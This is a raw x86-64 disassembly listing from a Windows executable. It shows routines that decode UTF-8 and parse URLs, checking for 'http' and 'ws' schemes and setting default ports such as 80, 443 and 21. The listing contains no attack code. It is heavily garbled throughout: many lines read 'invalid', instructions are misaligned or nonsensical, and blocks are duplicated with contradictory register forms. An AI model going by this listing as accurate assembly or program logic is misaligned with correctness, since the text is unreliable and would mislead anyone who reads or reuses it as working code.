movabs al, byte [0x902494290f000000]
add byte [rax], al
add byte [rdi], cl
movaps xmmword [rsp + 0x80], xmm1
sub dword [rsp + 0x80], ecx
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
pop rax
mov dword [rsp + 0x50], r15d
lea rax, [rsp + 0x1a7]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov word [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
and al, 0x40
add byte [rax], al
lea rdx, [rsp + 0x70]
mov r8b, 2
mov r9d, r14d
call fcn.1400fb7b0
jmp 0x1400f876b
jne case.0x1400d98c4.372
dec dword [rbp - 0x7b]
div byte [rbx + rbp + 0x49]
cmp esi, eax
test r14, r14
je 0x1400f85a3
cmp r14, rax
jae 0x1400f85a1
cmp byte [rdx + r14], 0xbf
jg 0x1400f85a3
lea rcx, [0x14016f030]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.140104b90
jne 0x1400f8584
cmp r14, r9
jne 0x1400f85b8
add byte [rax], al
mov r12, qword [rsp + 0xf0]
test r12, r12
je 0x1400f86ff
and al, 0x78
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x80], 0
lea r13, [rsp + 0x70]
insb byte [rdi], dx
and al, 0x70
insb byte [rdi], dx
and al, 0x70
jmp 0x1400f85fe
lea eax, [rbp - 9]
cmp eax, 2
jae 0x1400f866e
cmp rbx, rdi
cmp ebx, edi
je 0x1400f86bb
add byte [rax], al
movzx edx, byte [rbx]
movzx ebp, dl
test bpl, bpl
js 0x1400f8617
inc rbx
jmp 0x1400f8680
mov eax, ebp
and eax, 0x1f
movzx r8d, byte [rbx + 1]
add dword [rcx - 0x7d], eax
loopne 0x1400f8664
add dword [rcx - 0x7d], eax
loopne 0x1400f8664
cmp bpl, 0xdf
jbe 0x1400f8660
movzx ecx, byte [rbx + 2]
shl r8d, 6
and ecx, 0x3f
invalid
or ecx, r8d
or ecx, eax
cmp dl, 0xf0
invalid
jb case.0x1400e24af.118
movzx ebp, byte [rbx + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x1400f86bb
invalid
add rbx, 4
jmp 0x1400f8680
add rbx, 2
shl eax, 6
or eax, r8d
mov ebp, eax
jmp 0x1400f8680
invalid
adc al, byte [rbx - 0x748bf203]
jmp 0x1400f86bb
invalid
add rbx, 3
add rbx, 3
shl eax, 0xc
or ecx, eax
mov ebp, ecx
cmp ebp, 0x2e
jle 0x1400f85f6
invalid
inc dword [rbx + 0x11742ffd]
cmp ebp, 0x2f
je 0x1400f869f
invalid
cmp ebp, 0x110000
je 0x1400f85fe
cmp ebp, 0x5c
jne 0x1400f86bb
mov rcx, r13
mov edx, ebp
call fcn.1400f72b0
cmp ebp, 0x2f
je 0x1400f85fe
invalid
cmp ebp, 0x5c
je 0x1400f85fe
mov rax, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov eax, dword [rsp + 0x78]
js case.0x1400b9f4a.1164
mov bl, 1
cmp qword [rsp + 0x80], 2
add dword [rax - 0x7d], ecx
mov esp, 0x8024
add byte [rdx], al
jne 0x1400f86df
movzx ecx, word [r8]
cmp ecx, 0x2f2f
setne bl
test rax, rax
je 0x1400f86f3
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je 0x1400f86ff
mov rcx, r12
mov dl, 3
call qword [rsi + 0x28]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xb0], rax
movaps xmm0, xmmword [rsp + 0xc0]
sub byte [rsp + 0xc0], al
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xd0], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0xd0], cl
movaps xmm2, xmmword [rsp + 0xe0]
movaps xmm3, xmmword [rsp + 0xf0]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], ebx
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], ebx
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], r14d
mov byte [rsp + 0x20], 1
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
and al, 0x68
mov r8, r15
mov r9, rdi
call fcn.1400f8a90
nop
add rsp, 0x1b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x68]
mov r8, rbx
jmp 0x1400f7e6d
mov edx, 0x83480015
sar dh, 0x48
cmp eax, 3
ja case.default.0x1400f882f
lea r8, [0x140175c68]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
loopne 0x1400f8841
movzx eax, word [rcx]
mov bh, 1
cmp eax, 0x7377
jne case.default.0x1400f882f
mov al, 1
mov dx, 0x50
movzx eax, al
ret
cmp dword [rcx], 0x70747468
je 0x1400f883b
xor eax, eax
movzx eax, al
ret
mov eax, 0x70747468
xor eax, dword [rcx]
movzx ecx, byte [rcx + 4]
xor ecx, 0x73
invalid
jae 0x1400f886b
or ecx, eax
sete al
mov ecx, 0x1bb
ror dword [rdi], 0x94
sar byte [rcx + 0x1bb], 0xba
adc eax, 0xf000000
ror dword [rdi], 1
mov dh, 0xc0
mov edx, 0x15
cmove edx, ecx
movzx eax, al
ret
movzx eax, word [rcx]
xor eax, 0x7377
jae 0x1400f887e
invalid
jae 0x1400f887e
add byte [rax], al
movzx r8d, byte [rcx + 2]
xor r8d, 0x73
or r8w, ax
je 0x1400f88b2
movzx eax, word [rcx]
rol ax, 8
movzx r8d, ax
rol byte [rcx - 0x7f], 0xf8
je 0x1400f8904
add byte [rax], al
rol byte [rcx - 0x7f], 0xf8
je 0x1400f8904
add byte [rax], al
jne 0x1400f88bc
movzx eax, byte [rcx + 2]
add eax, 0xffffff90
test eax, eax
sete al
xchg esp, eax
ror byte [rdi], 0xb6
invalid
ret
xchg esp, eax
ror byte [rdi], 0xb6
rol bl, 0xb0
add dword [rsi - 0x46], esp
mov ebx, 0xc0b60f01
mov al, 1
mov dx, 0x1bb
movzx eax, al
ret
xor eax, eax
cmp r8d, 0x6674
sbb eax, eax
or eax, 1
enter 0xffffffffffff8501, 0xffffffffffffffc0
enter 0xffffffffffff8501, 0xffffffffffffffc0
add dword [rbp - 0x3f6bf040], eax
sete al
movzx eax, al
ret
push r12
push rsi
push rdi
push rbp
push rbx
add rdx, rcx
mov rsi, qword [r8]
mov r9, qword [r8 + 8]
mov r10d, 0x2600
add byte [rax], al
add byte [rax], al
jmp 0x1400f890f
invalid
mov esi, eax
cmp r11d, edi
jne 0x1400f8a7b
mov al, 1
cmp rcx, rdx
je case.0x1400df857.128
add byte [rax], al
add byte [rax], al
movzx ebp, byte [rcx]
movzx r11d, bpl
test r11b, r11b
js 0x1400f8930
movzx ebx, byte [rcx + 2]
shl r14d, 6
and ebx, 0x3f
or ebx, r14d
cmp bpl, 0xf0
jb 0x1400f8993
invalid
invalid
invalid
invalid
xor eax, eax
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x138
mov r14, r9
mov r15, r8
mov rsi, rdx
mov qword [rsp + 0x128], rcx
mov rcx, qword [rdx + 0x10]
cmp rcx, qword [rdx]
jne 0x1400f8ac9
mov rcx, rsi
call fcn.1400cf3b0
mov rcx, qword [rsi + 0x10]
mov rax, qword [rsi + 8]
mov byte [rax + rcx], 0x2f
inc rcx
mov qword [rsi + 0x10], rcx
cmp rcx, qword [rsi]
jne 0x1400f8ae9
mov rcx, rsi
call fcn.1400cf3b0
mov rcx, qword [rsi + 0x10]
mov rax, qword [rsi + 8]
mov byte [rax + rcx], 0x2f
inc rcx
mov qword [rsp + 0x120], rcx
mov qword [rsi + 0x10], rcx
mov r12, qword [rsi + 0x30]
mov qword [rsp + 0x88], rsi
mov rdi, qword [rsi + 0x38]
xor ebx, ebx
lea r13, [0x140175c78]
mov ebp, 0x2600
mov rsi, r15
xor eax, eax
mov qword [rsp + 0x90], rax
cmp rsi, r14
jne 0x1400f8b57
jmp 0x1400f8c94
mov ecx, eax
cmp ecx, 0x110000
jne 0x1400f8c1a
cmp rsi, r14
je 0x1400f8c94
movzx r8d, byte [rsi]
movzx eax, r8b
test al, al
js 0x1400f8b80
inc rsi
cmp eax, 0xd
jbe 0x1400f8c00
jmp 0x1400f8b40
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rsi + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x1400f8bd3
movzx edx, byte [rsi + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400f8be9
movzx eax, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400f8c94
add rsi, 4
cmp eax, 0xd
jbe 0x1400f8c00
jmp 0x1400f8b40
add rsi, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
cmp eax, 0xd
jbe 0x1400f8c00
jmp 0x1400f8b40
add rsi, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
ja 0x1400f8b40
nop dword [rax]
mov ecx, 0x110000
bt ebp, eax
jae 0x1400f8b40
cmp ecx, 0x110000
je 0x1400f8b4e
lea eax, [rcx - 0x23]
cmp eax, 0x1d
ja 0x1400f8c6a
cmp dword [rsp + 0x90], 0
setne dl
shl dl, 3
or dl, 2
mov rcx, r12
call qword [rdi + 0x28]
mov rax, rsi
mov r10d, ebx
invalid
inc ebx
mov qword [rsp + 0x90], rax
cmp rsi, r14
jne 0x1400f8b57
invalid
mov esp, 0x1a024
add byte [rdx], al
jne 0x1400f8c94
mov rax, qword [rsp + 0x90]
inc ebx
ret
mov qword [rsp + 0x90], rax
cmp rsi, r14
cmp esi, esi
ret
cmp esi, esi
jne 0x1400f8b57
mov rsi, qword [rsp + 0x90]
test rsi, rsi
test byte [rdi], 0x84
jle 0x1400f8ca6
add byte [rax], al
test byte [rdi], 0x84
jle 0x1400f8ca6
add byte [rax], al
test r10d, r10d
test edx, edx
mov rbx, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x120]
je 0x1400f904e
nop
add eax, dword [rax]
invalid
nop
add eax, dword [rax]
add byte [rdi], cl
invalid
jle 0x1400f9177
mov dword [rsp + 0xa0], eax
mov qword [rsp + 0x130], rax
xor r11d, r11d
jmp case.0x1400df857.485
add byte [rax - 0x77], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rbp + 0x31], al
fucomi st(3)
nop word [rax + rax]
test byte [rsp + 0xa0], 1
mov rax, qword [rsp + 0x68]
movzx eax, al
mov ecx, 1
cmove eax, ecx
mov qword [rsp + 0x68], rax
mov rdi, qword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 - 0x64], al
and al, 0x98
add byte [rax], al
add byte [rbp - 0x7c00b9], cl
add dword [rcx - 0x77], eax
invalid
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 - 0x64], al
and al, 0x98
add byte [rax], al
add byte [rbp - 0x7c00b9], cl
add dword [rcx - 0x77], eax
ret 0x8e0f
invalid
invalid
jle case.0x1400e24af.199
mov qword [rsp + 0xa8], r10
cmp r15, r14
je 0x1400fa188
movzx edx, byte [rax]
movzx r8d, dl
ret 0x8445
invalid
ret 0x8445
test al, al
js 0x1400f8d60
lea r15, [rax + 1]
cmp r8d, 0xd
clc
or eax, 0x86860f
add byte [rax], al
clc
or eax, 0x86860f
add byte [rax], al
jmp case.0x1400d95c2.359
add byte [rax], al
nop
mov ecx, r8d
and ecx, 0x1f
loope 0x1400f8d85
rol dword [rbx + 0xf441fe1], 0xb6
add qword [rcx - 0x7d], rax
loope 0x1400f8dae
invalid
loope 0x1400f8d85
movzx r9d, byte [rax + 1]
and r9d, 0x3f
invalid
invalid
cmp r8b, 0xdf
jbe 0x1400f8daf
movzx r8d, byte [rax + 2]
shl r9d, 6
add al, byte [rcx - 0x3f]
loope 0x1400f8d84
and r8d, 0x3f
or r8d, r9d
enter 0xfffffffffffffa80, 0xfffffffffffffff0
cmp dl, 0xf0
jb 0x1400f8dc4
lea r15, [rax + 4]
movzx edx, byte [rax + 3]
and ecx, 7
add al, 0xf
mov dh, 0x50
add eax, dword [rbx - 0x1e3ef81f]
shl ecx, 0x12
invalid
invalid
shl ecx, 0x12
shl r8d, 6
loopne 0x1400f8da2
loopne 0x1400f8da2
and edx, 0x3f
or edx, r8d
or edx, ecx
mov r8d, edx
rol byte [rcx - 0x7d], 1
clc
invalid
jbe 0x1400f8de0
rol byte [rcx - 0x7d], 1
clc
or eax, 0x51eb3376
push rcx
lea r15, [rax + 2]
js 0x1400f8db5
shl ecx, 6
loope 0x1400f8dbc
invalid
or ecx, r9d
mov r8d, ecx
cmp r8d, 0xd
jbe 0x1400f8de0
jmp case.0x1400d95c2.359
lea r15, [rax + 3]
lea edi, [rax + 3]
shl ecx, 0xc
or r8d, ecx
enter 0xffffffffffff8341, 0xfffffffffffffff8
invalid
ja case.0x1400d95c2.359
nop word cs:[rax + rax]
bt esi, r8d
bt esi, eax
jae case.0x1400d95c2.359
mov rax, r15
cmp r15, r14
cmp edi, esi
cmp edi, esi
jne 0x1400f8d40
jmp 0x1400fa188
add byte [rsi + 0xf], ah
invalid
cmp r8d, 0x110000
cmp eax, 0x110000
je 0x1400fa188
mov r13d, 1
cmp r8d, 0x80
jb 0x1400f8e3c
add byte [rax], al
add byte [rcx - 0x7f], al
clc
add byte [rax], 0
add byte [rdx + 0x20], dh
mov r13d, 2
cmp r8d, 0x800
jb 0x1400f8e3c
cmp r8d, 0x10000
cmp eax, 0x10000
add byte [rcx - 0x43], al
add al, 0
add byte [rax], al
mov r13d, 4
sbb r13, 0
mov rdx, r14
sub rdx, rax
cmp r13, rdx
jae 0x1400f8e60
cmp byte [rax + r13], 0xbf
cmp byte [rax + rbp], 0xbf
jg 0x1400f8e66
jmp 0x1400fa1dd
test byte [rax], al
add byte [rax], al
add byte [rax], al
jne 0x1400fa1dd
cmp r8d, 0x110000
je 0x1400fa188
cmp r8d, 0x3a
jne 0x1400f8ef0
invalid
cmp dh, byte [rbp + 0x77]
cmp r11d, 1
ja 0x1400f8ebb
cmp ebx, 1
je 0x1400f8ef0
mov rax, rbp
shr rax, 0x20
jne 0x1400f924c
mov rdi, qword [rsp + 0xa8]
add byte [rax], al
cmp edi, 1
je 0x1400f91b1
mov r12, rbp
cmp rbp, qword [rbx]
jne 0x1400f8eb1
mov rcx, rbx
mov ecx, ebx
call fcn.1400cf3b0
mov r12, qword [rbx + 0x10]
invalid
mov rax, qword [rbx + 8]
mov byte [rax + r12], 0x3a
inc r12
inc esp
mov qword [rbx + 0x10], r12
mov al, 1
add dword [rax - 0x77], ecx
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx - 0x45], al
add dword [rax], eax
add byte [rax], al
add dword [rax - 0x77], ecx
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rcx - 0x45], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x130], rbp
mov rbp, r12
lea eax, [rdi - 1]
inc dword [rbx - 0x76befe01]
ret 0x8f0f
invalid
invalid
invalid
invalid
inc dword [rbx - 0x76befe01]
ret 0x8f0f
invalid
jmp case.0x1400e24af.199
mov dword [rsp + 0x98], r11d
mov rcx, qword [rbx + 0x30]
xor byte [r8 - 0x75], cl
push rbx
cmp byte [rcx + rcx*4 + 0x74], cl
and al, 0x20
and byte [rax - 0x77], cl
invalid
mov r9, r15
call fcn.1400fe850
and byte [rax - 0x77], cl
invalid
mov rdx, rdi
cli
jmp 0x1400f8f71
add byte [rax], al
inc rdx
dec r13
mov rbp, rdx
lea rax, [rax + rax*2]
lea eax, [rax + rax*2]
lea eax, [rax + rax*2]
lea rcx, [0x140138f8c]
add rax, rcx
add eax, ecx
mov rdi, r13
mov r13d, 3
mov rdx, rax
mov rax, qword [rbx]
sub rax, r12
cmp rax, r13
jb 0x1400f8ffe
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
or byte [r9 + r8 - 0x1f], cl
mov rcx, qword [rbx + 8]
add rcx, r12
mov r8, r13
mov eax, ebp
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
add esp, ebp
mov qword [rbx + 0x10], r12
mov dword [rbx + 0x10], esp
mov r13, rdi
std
mov rdx, rbp
mov edx, ebp
invalid
mov rbp, r12
test r13, r13
je 0x1400f8cf0
jbe 0x1400f8f75
invalid
invalid
jbe 0x1400f8f75
movzx eax, byte [rdx]
movzx eax, al
test al, al
invalid
js 0x1400f8f20
sar byte [rax - 0x64], 0x89
rol ecx, 0xe9
shr ecx, 5
invalid
invalid
invalid
invalid
invalid
mov ecx, eax
shr ecx, 5
lea r8, [0x14016f0c8]
mov ecx, dword [r8 + rcx*4]
or al, 0x88
or al, 0x88
bt ecx, eax
jb 0x1400f8f20
mov ecx, 1
lea r10, [0x14016f0c8]
adc eax, 0x76123
add byte [rbp + rcx*4 + 0x15], cl
and esp, dword [rcx + 7]
invalid
invalid
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
add byte [rax], al
adc eax, 0x76123
invalid
nop word cs:[rax + rax]
add byte [rax], al
cmp r13, rcx
cmp ebp, ecx
je 0x1400f8ff0
mov rax, rcx
movzx ecx, byte [rdx + rcx]
mov dh, 0xc
invalid
test cl, cl
js 0x1400f8fd8
mov dh, 0xc
or al, byte [rcx + rcx*8 + 0xf441878]
js 0x1400f8fd8
movzx r8d, cl
movzx r8d, cl
mov ecx, r8d
shr ecx, 5
mov r9d, dword [r10 + rcx*4]
mov cl, byte [rax - 0x73]
add qword [rbp + 0xf], rax
invalid
invalid
mov cl, byte [rax - 0x73]
add qword [rbp + 0xf], rax
movabs dword [0x820fc52949d873c1], eax
sal dword [rbx - 0x28], 0x49
jae 0x1400f8fb0
sub r13, rax
jb 0x1400fa194
add byte [rax - 0x73], cl
sub al, 2
jae 0x1400f8fb0
sub r13, rax
jb 0x1400fa194
invalid
add byte [rax - 0x73], cl
sub al, 2
lea ebp, [rdx + rax]
mov rdi, r13
mov r13, rax
mov ebp, eax
jmp 0x1400f8f43
invalid
xor edi, edi
lea rbp, [0x14016f768]
jmp 0x1400f8f43
mov rcx, rbx
mov rbx, rdx
mov rdx, r12
mov edx, esp
mov r8, r13
call fcn.140104c70
add byte [rax - 0x77], cl
fimul dword [rax - 0x75]
pushfq
and al, 0x88
add byte [rax], al
add byte [rax], al
mov r12, qword [rbx + 0x10]
invalid
add byte [rax - 0x77], cl
fimul dword [rax - 0x75]
pushfq
and al, 0x88
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
adc cl, ch
invalid
jmp 0x1400f8f52
mov rcx, qword [rsp + 0x120]
mov rax, rcx
shr rax, 0x20
mov rbx, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
invalid
add byte [rax - 0x77], cl
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rax - 0x75], cl
pushfq
mov ebx, dword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rdi], cl
test dword [rdx + rax], ecx
add byte [rax], al
jne 0x1400f924c
mov dword [rsp + 0x70], ecx
mov qword [rsp + 0x78], r15
jl 0x1400f906c
js 0x1400f9033
loopne 0x1400f904d
add byte [rax], al
jl 0x1400f906c
js 0x1400f9033
loopne 0x1400f904d
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x2600], bh
mov eax, 0x2600
mov rcx, rsi
jmp 0x1400f9070
mov r8d, edx
cmp r8d, 0x110000
cmp eax, 0x110000
clc
add byte [rax], al
adc dword [rax], eax
rol byte [rcx - 0x7f], 1
clc
add byte [rax], al
adc dword [rax], eax
jne 0x1400f914c
test esp, ebx
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
fadd qword [rax]
add byte [rax], al
cmp rcx, r14
je 0x1400f921c
movzx r10d, byte [rcx]
movzx edx, r10b
movzx edx, dl
test dl, dl
js 0x1400f90a0
inc rcx
cmp edx, 0xd
jbe 0x1400f9130
jmp 0x1400f9060
int 0x66
nop word cs:[rax + rax]
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
jrcxz 0x1400f90ef
cmp dl, 0xdf
fbstp tbyte [rsi + 0x49]
fbstp tbyte [rsi + 0x49]
movzx r9d, byte [rcx + 2]
shl r11d, 6
add al, byte [r9 - 0x3f]
jrcxz 0x1400f90c4
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400f9116
fld dword [rcx - 0x80]
cli
invalid
movzx edx, byte [rcx + 3]
and r8d, 7
loopne 0x1400f90da
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400f921c
add dword [rax], eax
invalid
loopne 0x1400f90da
add dword [rax], eax
add byte [rax - 0x7d], cl
add rcx, 4
cmp edx, 0xd
jbe 0x1400f9130
invalid
invalid
invalid
add byte [rax], al
add rcx, 4
cmp edx, 0xd
jbe 0x1400f9130
jmp 0x1400f9060
invalid
add rcx, 2
shl r8d, 6
invalid
or r8d, r11d
invalid
mov edx, r8d
cmp edx, 0xd
jbe 0x1400f9130
jmp 0x1400f9060
add rcx, 3
shl r8d, 0xc
or r9d, r8d
rol dword [rcx + rcx*4 - 0x36], 0x83
cli
or eax, 0xff33870f
invalid
invalid
rol dword [rcx + rcx*4 - 0x36], 0x83
cli
or eax, 0xff33870f
invalid
mov r8d, 0x110000
bt eax, edx
jae 0x1400f9060
invalid
invalid
invalid
add byte [rdi], cl
movabs dword [0x41ffffff21830fd0], eax
invalid
invalid
inc dword [rcx - 0x7f]
clc
add byte [rax], al
adc dword [rax], eax
je 0x1400f9070
cmp r8d, 0x3f
ja 0x1400f9208
mov eax, r8d
movabs rcx, 0x8000800800000000
add byte [rax], al
add byte [rax], al
or byte [rax + 0xf488000], al
or byte [rax + 0xf], 0xa3
ror dword [rdi], 0x83
wait
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
or byte [rax + 0xf488000], al
or byte [rax + 0xf], 0xa3
ror dword [rdi], 0x83
wait
add byte [rax], al
add dh, al
invalid
or byte [rax + 0xf], 0xa3
ror dword [rdi], 0x83
wait
add byte [rax], al
add dh, al
invalid
mov byte [rsp + 0x70], 0
jmp 0x1400f9251
add byte [rax], al
and al, 0x70
and al, 0x70
add cl, ch
fiadd dword [rax]
add byte [rax], al
mov rax, rbp
shr rax, 0x20
jne 0x1400f924c
invalid
add cl, ch
pushfq
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x68]
jmp 0x1400f9225
mov rax, qword [rsp + 0x68]
or al, byte [rsp + 0xa0]
test al, 1
sete al
test r11d, r11d
mov rsi, qword [rsp + 0x90]
je 0x1400f91cd
mov rdi, qword [rsp + 0x130]
jmp 0x1400f91da
mov rax, qword [rsp + 0x68]
and al, 0x68
or al, byte [rsp + 0xa0]
mov edi, ebp
test al, 1
mov rsi, qword [rsp + 0x90]
jne 0x1400f91e0
jmp 0x1400f9225
mov rdi, qword [rbx + 0x10]
mov rcx, rdi
shr rcx, 0x20
jne 0x1400f924c
mov ebp, edi
test al, al
jne 0x1400f9225
mov rax, qword [rbx + 0x10]
cmp rax, qword [rbx]
add esi, dword [rbp + 0xc]
add esi, dword [rbp + 0xc]
mov rcx, rbx
call fcn.1400cf3b0
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 8]
or r14b, al
add al, 1
inc rax
or r14b, al
add al, 1
inc rax
mov qword [rbx + 0x10], rax
mov ebp, edi
jmp 0x1400f9225
adc byte [r9 - 0x7fe21403], cl
mov esp, 0x1a024
add byte [rdx], al
cmp byte [rsp + 0x1a0], 2
je 0x1400f921c
cmp r8d, 0x5c
je case.0x1400dd900.195
mov rax, rbp
shr rax, 0x20
call 0x160f8536b
jne 0x1400f924c
mov dword [rsp + 0x70], ebp
mov qword [rsp + 0x78], rsi
mov eax, 0x10
add byte [rcx + rcx*4 + 0x74], cl
add al, 0x70
add byte [rcx + rcx*4 + 0x74], cl
add al, 0x70
mov rdx, qword [rsp + 0x78]
test rdx, rdx
jne 0x1400f9268
movzx ebp, byte [rsp + 0x70]
jmp 0x1400f9e7b
mov byte [rsp + 0x70], 9
and al, 0x70
or dword [rax + 8], edi
mov eax, 8
xor r14d, r14d
mov qword [rsp + rax + 0x70], r14
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x1400f9242
mov rcx, qword [rbx + 0x10]
mov rax, rcx
shr rax, 0x20
mov bpl, 9
jne 0x1400f9e7b
adc byte [r8 - 0x77], cl
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rax - 0x4b], al
or dword [rdi], ecx
test edi, edi
or eax, dword [rax]
add byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rbx - 0x768fdbbc], cl
and al, 0x70
mov dword [rsp + 0xa0], eax
mov r13, qword [rsp + 0x80]
mov rax, r13
mov r14, rdx
sub rax, rdx
sub eax, edx
sub eax, edx
je 0x1400f9687
lea r8, [0x140175cf0]
xor ecx, ecx
xor esi, esi
xor r15d, r15d
mov r10, rdx
jmp 0x1400f92dc
nop word cs:[rax + rax]
add r15, r11
cmp r10, r13
je 0x1400f9411
movzx edi, byte [r10]
movzx ebx, dil
movzx ebx, bh
test bl, bl
js 0x1400f9310
inc r10
mov r11d, 1
lea edi, [rbx - 9]
cmp edi, 0x54
call qword [rdi + rcx - 0x79]
pop qword [rax]
add byte [rax], al
call qword [rdi + rcx - 0x79]
pop qword [rax]
add byte [rax], al
movsxd rdi, dword [r8 + rdi*4]
add rdi, r8
jmp rdi
mov r11d, ebx
mov ebx, ebx
and r11d, 0x1f
movzx r14d, byte [r10 + 1]
and r14d, 0x3f
cmp bl, 0xdf
jbe 0x1400f936c
movzx ebx, byte [r10 + 2]
shl r14d, 6
invalid
and ebx, 0x3f
or ebx, r14d
cmp dil, 0xf0
jb 0x1400f93ef
invalid
add byte [rbp - 0x7c0885], cl
push rsp
jbe 0x1400f92fd
add r10, 2
shl r11d, 6
or r11d, r14d
mov ebx, r11d
mov r11d, 1
lea edi, [rbx - 9]
cmp edi, 0x54
jbe 0x1400f92fd
cmp ebx, 0x110000
je 0x1400f9411
cmp ebx, 0x800
jb 0x1400f92d0
sti
add byte [rax], al
add dword [rax], eax
mov r11d, 4
sbb r11, 0
jmp 0x1400f92d0
test cl, 1
jne 0x1400f9526
mov r14, rdx
test rsi, rsi
test esi, esi
test esi, esi
je 0x1400f9651
mov ecx, 0x2600
mov r14, rdx
jmp 0x1400f9440
mov r9d, r8d
cmp r9d, 0x110000
jne 0x1400f9518
cmp r14, r13
je 0x1400f964e
movzx r11d, byte [r14]
movzx r8d, r11b
test r8b, r8b
js 0x1400f9470
inc r14
cmp r8d, 0xd
jbe 0x1400f94ea
jmp 0x1400f9430
mov r9d, r8d
and r9d, 0x1f
movzx edi, byte [r14 + 1]
mov dh, 0x7e
add dword [rbx - 0x7fbec019], eax
clc
fbstp tbyte [rsi + 0x42]
mov dh, 0x7e
add dword [rbx - 0x7fbec019], eax
clc
fbstp tbyte [rsi + 0x42]
movzx r10d, byte [r14 + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x1400f94ff
movzx r8d, byte [r14 + 3]
add r14, 4
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
loopne 0x1400f94f2
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
jne 0x1400f94e0
add r14, 2
shl r9d, 6
or r9d, edi
mov r8d, r9d
nop word cs:[rax + rax]
cmp r8d, 0xd
cmp eax, 0xd
cmp eax, 0xd
ja 0x1400f9430
mov r9d, 0x110000
bt ecx, r8d
jb 0x1400f9433
jmp 0x1400f9430
add r14, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0xd
jbe 0x1400f94ea
dec rsi
jne 0x1400f9440
jmp 0x1400f9651
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 1
mov qword [rsp + 0xd0], 0
test rsi, rsi
je 0x1400f96ab
lea r14, [rsp + 0xc0]
mov ebx, 0x2600
dec rsi
jmp 0x1400f957d
mov eax, ecx
cmp eax, 0x110000
jne 0x1400f9633
cmp rdx, r13
je 0x1400f96a8
movzx r9d, byte [rdx]
movzx ecx, r9b
test cl, cl
js 0x1400f95a0
inc rdx
cmp ecx, 0xd
jbe 0x1400f9609
jmp 0x1400f9570
mov eax, ecx
and eax, 0x1f
movzx r10d, byte [rdx + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400f95f0
movzx r8d, byte [rdx + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400f961c
movzx ecx, byte [rdx + 3]
add rdx, 4
and eax, 7
shl eax, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
cmp ecx, 0x110000
jne 0x1400f9600
jmp 0x1400f96ab
add rdx, 2
shl eax, 6
or eax, r10d
mov ecx, eax
nop dword [rax]
cmp ecx, 0xd
ja 0x1400f9570
mov eax, 0x110000
bt ebx, ecx
jb 0x1400f9572
